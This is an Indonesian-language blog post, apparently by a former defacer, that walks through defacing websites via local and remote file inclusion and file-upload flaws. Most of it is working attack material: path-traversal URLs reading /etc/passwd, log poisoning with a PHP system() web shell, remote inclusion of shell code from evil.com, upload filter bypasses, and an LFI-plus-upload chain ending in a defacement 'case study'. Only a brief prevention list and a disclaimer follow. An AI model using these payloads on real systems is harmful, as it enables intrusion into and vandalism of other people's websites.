Deface Website via File Inclusion & Upload Vulnerability



Pendahuluan

File Inclusion Vulnerability (LFI/RFI) dan Upload Vulnerability adalah dua metode klasik namun masih efektif untuk melakukan website defacement. Banyak website yang gagal melakukan filter input dengan baik, memungkinkan penyerang untuk mengupload shell atau memasukkan file yang berisi kode berbahaya.

Artikel ini akan membahas teknik deface menggunakan kedua celah tersebut, lengkap dengan metode chaining yang sering digunakan oleh defacer.


1. Local File Inclusion (LFI)

LFI memungkinkan penyerang untuk memasukkan file lokal dari server. Contoh vulnerable code:

<?php include($_GET['page']); ?>

Jika URL seperti ini:

http://target.com/index.php?page=about.php

Maka penyerang bisa mencoba:

http://target.com/index.php?page=../../../../../../etc/passwd

a. LFI to Shell (Log Poisoning)

  1. Kirim user-agent berisi kode PHP ke server:
<?php system($_GET['cmd']); ?>
  1. Lalu akses log file menggunakan LFI:
http://target.com/index.php?page=../../../../../../var/log/apache2/access.log
  1. Jalankan shell command:
http://target.com/index.php?page=../../../../../../var/log/apache2/access.log&cmd=ls

2. Remote File Inclusion (RFI)

Jika server mengizinkan allow_url_include:

http://target.com/index.php?page=http://evil.com/shell.txt

Maka kode dari evil.com/shell.txt akan dieksekusi di server target.


3. File Upload Vulnerability

a. Teknik Bypass Extension

  • Menggunakan double extension:
shell.php.jpg
  • Menggunakan karakter null byte (untuk server lama):
shell.php%00.jpg
  • Menggunakan MIME spoofing:
Content-Type: image/jpeg

b. Payload Shell Sederhana

<?php system($_GET['cmd']); ?>

Upload sebagai shell.php.jpg, lalu akses:

http://target.com/uploads/shell.php.jpg?cmd=uname -a

4. Chaining LFI + Upload

  1. Upload file gambar berisi kode PHP (misalnya shell.jpg).
  2. Gunakan LFI untuk memaksa include file tersebut:
http://target.com/index.php?page=../../uploads/shell.jpg
  1. Tambahkan parameter cmd:
http://target.com/index.php?page=../../uploads/shell.jpg&cmd=id

5. Studi Kasus Deface

Kasus: Deface via LFI + Upload

  • Target: CMS lawas dengan modul upload gambar.
  • Langkah:
    1. Upload shell.jpg dengan kode PHP tersembunyi.
    2. Exploit LFI untuk menjalankan shell.
    3. Gunakan shell untuk mengedit index.html atau file tampilan website.
    4. Deface berhasil!

Tools yang sering digunakan

  • b374k shell
  • Weevely
  • Pentest Monkey Reverse Shell

6. Pencegahan

Sebagai defender:

  • Validasi input dengan whitelist.
  • Nonaktifkan allow_url_include.
  • Batasi hak akses upload folder (no .php execution).
  • Gunakan prepared statement dan disable dangerous functions.

Penutup

Teknik File Inclusion dan Upload Vulnerability masih menjadi senjata ampuh bagi defacer, terutama di website yang kurang update atau salah konfigurasi. Dengan menggabungkan kedua teknik ini, penyerang bisa mendapatkan shell dan melakukan deface secara penuh.

Disclaimer: Artikel ini hanya untuk edukasi dan pembelajaran keamanan. 

Post a Comment

Lebih baru Lebih lama

Mengenai Saya

Foto saya
6ickzone
I've been deep in the world of cybersecurity, crypto, AI, and hacking for years. This blog is where I share my journey, tools, tips, and everything I learn along the way. But beyond code and exploits, there's also rhythm. I'm also exploring the digital soundscape — producing beats, fusing dark tech vibes with trap, drill, and EDM. Music is my second language, and it's where I channel the energy of the underground digital world. From my early days as a defacer to my current focus on ethical hacking and experimental music, I’m building 6ickzone as a hybrid space where hacking meets art. Why 6ickzone? 6ickzone is more than just a blog — it's a realm where hackers, beatmakers, and digital renegades gather. Whether you're here for the tools or the tunes, welcome to the zone.
Lihat profil lengkapku

Cari Blog Ini

About